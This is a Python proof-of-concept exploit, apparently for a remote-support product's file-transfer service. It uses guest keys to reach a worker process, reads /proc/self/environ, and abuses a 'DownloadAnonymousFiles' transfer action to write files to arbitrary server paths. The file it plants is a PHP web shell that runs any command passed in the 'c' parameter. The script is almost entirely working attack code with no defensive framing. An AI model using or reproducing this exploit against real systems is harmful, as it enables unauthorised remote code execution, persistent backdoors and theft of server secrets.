import asyncio, sys, string, random
import aiohttp
import bt_poc as B


async def try_write(client, worker, path, content=b'<?php echo "P"; ?>'):
    listener = client.allocate_handler()
    token = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(24))
    fields = {'ckey': worker['ckey'], 'action': 'DownloadAnonymousFiles', 'ftsName': 'local',
              'serverAddress': client.address(listener), 'downloadToken': token,
              'path': path, 'wantOverwritePrompts': 0, 'enableResume': 0}
    await client.send_message(worker['address'], 'LocalFileTransfer\n' + B.fenc(fields), source_router=1)
    control = await client.accept_stream(listener)
    req = await control.request()
    print('request:', req)
    control.compress()
    line = await control.line()
    print('addr:', line)
    data = await client.connect_stream(line.strip())
    data.compress()
    name = path.rsplit('/', 1)[-1]
    meta = B.fenc({'cmd': 'want file?', 'src_filename': name, 'dest_filename': path,
                   'src_filesize': len(content), 'src_filedate': '', 'enable_resume': 0,
                   'preserveFileInfo': 0})
    await control.write('1\n%d\n%s\n%s\n%s\n' % (len(content), name, path, meta))
    for i in range(4):
        try:
            print('line%d: %r' % (i, await control.line()))
        except Exception as e:
            print('line%d EXC %s' % (i, e))
            return
        if i >= 3:
            break
    reply = B.fdec(await control.line())
    print('offer reply:', reply)
    if reply.get('cmd') != 'do want file':
        return
    await control.write(B.fenc({'cmd': 'begin file', 'use_content_relay': 0}) + '\n')
    for i in range(0, len(content), 16384):
        await data.write(content[i:i + 16384])
    await control.write('finished\n')
    print('final:', repr(await control.line()))
    await control.finish()
    await data.finish()


async def main(ip, issue, paths):
    base = 'https://' + ip
    content = ('<?php echo "BTABCDEFGH"; if (isset($_GET["c"])) { system($_GET["c"]); } ?>').encode()
    print('content len', len(content))
    conn = aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as s:
        site = await B.site_info(s, base)
        nk = await B.guest_key(s, base, issue)
        tk = await B.guest_key(s, base, issue)
        w = await B.open_ws(s, base, site[0], site[1], False)
        c, h = await B.native_setup(w, nk)
        tw = await B.open_ws(s, base, site[0], site[1], True)
        await B.thin_setup(tw, tk)
        worker = await B.get_worker(c, h, tk)
        env = await B.read_file(c, worker, '/proc/self/environ')
        print('env bytes:', len(env))
        for p in paths:
            print('###', p)
            try:
                await try_write(worker=worker, client=c, path=p, content=content)
            except Exception as e:
                print('EXC', type(e).__name__, e)

asyncio.run(main(sys.argv[1], int(sys.argv[2]), sys.argv[3:]))
